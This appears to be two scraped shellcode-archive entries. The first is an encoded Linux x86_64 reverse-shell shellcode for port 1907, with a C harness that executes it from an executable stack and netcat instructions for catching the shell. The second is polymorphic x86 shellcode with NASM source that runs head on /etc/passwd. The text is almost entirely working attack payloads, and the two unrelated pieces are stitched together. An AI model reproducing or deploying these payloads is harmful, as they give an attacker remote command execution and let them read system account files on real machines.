* reverse shell tcp (1907) port shellcode C language - Linux/x86_64 Author : Ka?an ?apar contact: kagancapar@gmail.com shellcode len : 119 bytes compilation: gcc -fno-stack-protector -z execstack reverse-shell.c -o reverse-shell Test: run your machine: nc -vlp 1907 and run exploit (./reverse-shell) check shellcode raw and test ls, who, pwd command. : 0x48 0x31 0xc9 0x48 0x81 0xe9 0xf6 0xff : 0xff 0xff 0x48 0x8d 0x05 0xef 0xff 0xff : 0xff 0x48 0xbb 0xdf 0x4b 0x06 0xb1 0x71 : 0x71 0x46 0x28 0x48 0x31 0x58 0x27 0x48 : 0x2d 0xf8 0xff 0xff 0xff 0xe2 0xf4 0xb5 : 0x62 0x5e 0x28 0x1b 0x73 0x19 0x42 0xde : 0x15 0x09 0xb4 0x39 0xe6 0x0e 0x91 0xdd : 0x4b 0x01 0xc2 0x0e 0x71 0x46 0x29 0x8e
: 0x03 0x8f 0x57 0x1b 0x61 0x1c 0x42 0xf5
: 0x13 0x09 0xb4 0x1b 0x72 0x18 0x60 0x20
: 0x85 0x6c 0x90 0x29 0x7e 0x43 0x5d 0x29
: 0x21 0x3d 0xe9 0xe8 0x39 0xfd 0x07 0xbd
: 0x22 0x68 0x9e 0x02 0x19 0x46 0x7b 0x97
: 0xc2 0xe1 0xe3 0x26 0x39 0xcf 0xce 0xd0
: 0x4e 0x06 0xb1 0x71 0x71 0x46 0x28
assembly code is below:
xor %rcx,%rcx
sub $0xfffffffffffffff6,%rcx
lea -0x11(%rip),%rax # 0x555555558060
movabs $0x28467171b1064bdf,%rbx
xor %rbx,0x27(%rax)
sub $0xfffffffffffffff8,%rax
loop 0x55555555807b
mov $0x62,%ch
pop %rsi
sub %bl,(%rbx)
jae 0x5555555580a7
rex.X ficoms -0x19c64bf7(%rip) # 0x55553b8f349e
xchg %eax,%ecx
fisttpll 0x1(%rbx)
retq $0x710e
rex.RX sub %r9d,0x1b578f03(%rsi)
(bad)
sbb $0x42,%al
cmc
adc (%rcx),%ecx
mov $0x1b,%ah
jb 0x5555555580c6
and %al,0x7e29906c(%rbp)
rex.XB pop %r13
sub %esp,(%rcx)
cmp $0xfd39e8e9,%eax
mov $0x29e6822,%ebp
sbb %eax,0x7b(%rsi)
xchg %eax,%edi
retq $0xe3e1
es cmp %ecx,%edi
rorb 0x6(%rsi)
mov $0x71,%cl
jno 0x55555555811c
sub %al,(%rax)
*/
#include
#include
unsigned char shellproccod[] = \
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xdf\x4b\x06\xb1\x71\x71\x46\x28\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb5\x62\x5e\x28\x1b\x73"
"\x19\x42\xde\x15\x09\xb4\x39\xe6\x0e\x91\xdd\x4b\x01\xc2\x0e"
"\x71\x46\x29\x8e\x03\x8f\x57\x1b\x61\x1c\x42\xf5\x13\x09\xb4"
"\x1b\x72\x18\x60\x20\x85\x6c\x90\x29\x7e\x43\x5d\x29\x21\x3d"
"\xe9\xe8\x39\xfd\x07\xbd\x22\x68\x9e\x02\x19\x46\x7b\x97\xc2"
"\xe1\xe3\x26\x39\xcf\xce\xd0\x4e\x06\xb1\x71\x71\x46\x28";
int main()
{
printf("Shellcode len: %d\n", strlen(shellproccod));
int (*ret)() = (int(*)())shellproccod;
ret();
}
Linux/x86 - /usr/bin/head -n99 cat etc/passwd Shellcode（61 字节）
; Exploit Title: /usr/bin/head -n99 cat etc/passwd (poly shellcode-571.php)
; Date: November 29th, 2018
; Exploit Author: Nelis
; Version: 0.2
; Tested on: Ubuntu 12.10
; Filename: headpass.nasm
; SLAE-ID: 1327
; Based on: http://shell-storm.org/shellcode/files/shellcode-571.php
; Shellcode:"\x29\xc0\x50\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe6\x50\x68\x2d\x6e\x39\x39\x89\xe7\x50\x68\x68\x65\x61\x64\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x68\x2f\x75\x73\x72\x89\xe3\x50\x57\x56\x53\xb0\x0b\x89\xe1\xcd\x80"
global _start
section .text
_start:
sub eax, eax ; changed from xor eax, eax
push eax ; put 0-term on stack
push dword 0x64777373 ; dwss
push dword 0x61702f63 ; ap/c
push dword 0x74652f2f ; te//
mov esi, esp ; save addr of stack into esi
push eax
push dword 0x39396e2d ; 99n-
mov edi, esp ; save addr of stack into edi
push eax
push dword 0x64616568 ; daeh
push dword 0x2f6e6962 ; /nib
push dword 0x2f2f2f2f ;
push dword 0x7273752f ; rsu/ changed from cat to head command
mov ebx,esp ; unchanged (save addr of stack into into ebx)
; mov edx, eax ; set edx to NULL / not already 0x0 / keeping it here in case you encouter issues with it
push eax ; 0-term on stack
push edi ; added for args
push esi ; added for args
push ebx ; pointer to /userbin/head
mov al, 0xb ; set syscall execve
mov ecx,esp ; move stack pointer into ecx
int 0x80 ; make syscall